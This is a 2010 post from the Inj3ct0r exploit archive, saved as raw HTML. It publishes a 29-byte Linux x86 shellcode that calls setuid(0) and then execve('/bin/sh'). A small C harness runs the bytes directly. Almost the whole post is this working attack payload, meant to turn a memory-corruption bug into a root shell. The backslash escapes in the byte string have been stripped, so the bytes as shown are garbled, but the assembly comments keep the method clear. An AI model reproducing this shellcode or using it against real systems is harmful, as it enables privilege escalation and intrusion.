linux/x86 setuid(0) + execve("/bin/sh",...) Shellc
Posted on 23 April 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) + execve("/bin/sh",...) Shellcode 29 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================== linux/x86 setuid(0) + execve("/bin/sh",...) Shellcode 29 bytes ============================================================== /* 29 byte-long setuid(0) + execve("/bin/sh",...) shellcode by Marcin Ulikowski <elceef@itsec.pl> */ #include <unistd.h> char shellcode[] = "x31xdb" /* xor %ebx,%ebx */ "x8dx43x17" /* lea 0x17(%ebx),%eax */ "xcdx80" /* int $0x80 */ "x53" /* push %ebx */ "x68x6ex2fx73x68" /* push $0x68732f6e */ "x68x2fx2fx62x69" /* push $0x69622f2f */ "x89xe3" /* mov %esp,%ebx */ "x50" /* push %eax */ "x53" /* push %ebx */ "x89xe1" /* mov %esp,%ecx */ "x99" /* cltd */ "xb0x0b" /* mov $0xb,%al */ "xcdx80"; /* int $0x80 */ int main(void) { void(*f)()=(void*)shellcode;f(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-23]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>